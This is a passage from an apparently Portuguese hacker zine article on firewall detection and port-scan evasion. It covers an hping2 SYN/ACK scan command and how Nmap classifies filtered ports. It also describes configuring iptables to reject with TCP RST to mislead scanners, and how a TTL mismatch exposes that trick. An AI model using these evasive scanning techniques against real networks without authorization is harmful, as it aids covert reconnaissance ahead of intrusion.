recurso datragrams TCP como os bitrs SYN e ACK ativos que normalmente são usando em handshake, O comportamento similar a varreduras TCP/ACK., FIN/ACK, e TCP WINDOWS, ou seia é mais forma identificação de firewall, tendo ainda a possibilidade de não ser detectado por um sistema que esta condicionado a detectar varreduras e o mesmo não esteja pronta par tratar a chegada de datagramas TCP SYN/ACK orfãos. Essa técnica não é implentada no NMAP e nem no Amap. Todaiva é fácil prova seu conceito com o Hping2.Provando o Conceito. utilize o Hping2 com a seguinte sintaxe, Para TCP SYN/ACK # hping2 ip.ip.ip.ip --syn --ack -p -c 3 Usando falso posivito para enganar PortScan Para os mais desavisados e menos competentes comumente conhecidos por nós como Script Kiddies é possível gerar um cenário interessante onde fácilmente seria possivél enganar um scanner como Nmap, mas retormar seu funcionamento para as técnicas de detecção de Firewall, o nmap envia 2 pacotes se ele receber um TCP/RST como resposta para os dois pacotes enviados ele assume que a porta não esta filtrada caso ele recebaICMP tipo 3 como resposta ele assume que a porta esta filtrada, pois ele entende como uma ação de um Firewall que rejeita pacotes e se ele não recebe nada envia mais 4 pacotes, não obtendo resposta assume a porta com filtrada. Bem imagine que venhamos a definir numa configuração de politicas num Firewall que na porta 22 somente aceitaremos conexões de IP´s já pré-definidos e qualquer outro IP terá seus pacote rejeitados, só que na potilica definimos para o Firewall não rejeita com ICMP e sim com TCP/RST, com certeza motivaria um falso negativo no resultdado do scanner. Isso é uma possibilidade interessante pois hoje podemos definir como o Firewall rejeita pacotes , o Iptables que é a ferramenta da familia do Kernel do 2.4 do Linux que nós possibilita isso, com certeza outros firewall inteligentes também. Um cenário interessante que muitos administradores que usam esse recurso de gerar falso possitivo acabam esquecendo é que quem responde é o IPTABLES e não a pilha TCP/IP e distro como Red Hat por exemplo, ultimamente tem como TTL padrão inicial o valor 64, mas o IPTABLES ao rejeitar uma pacote por padrão o TTL é 255. Então um invasor mais esperto usando um montador de pacote como Hping2 por exemplo facilmente percebe que a porta esta devolver um TCP/RST não está fechada e sim filttrada com a politica de rejeitar pacotes definida para rejeita com TCP/RST, desse modo é recomendável quando usar esse artificio mudar o valor de TTL padrão no arquivo /proc/sys/net/ipv4/Ip_default_ttl,. Bem moral da história ter um firewall é igual ter cachorro se o bicho latir o ladrão pensa duas vezes mas o firewall pode enganar o portscanner meu pitbull não. Espero ter ajudado os leitores dessa zine !!! até a próxima .. valeu sangue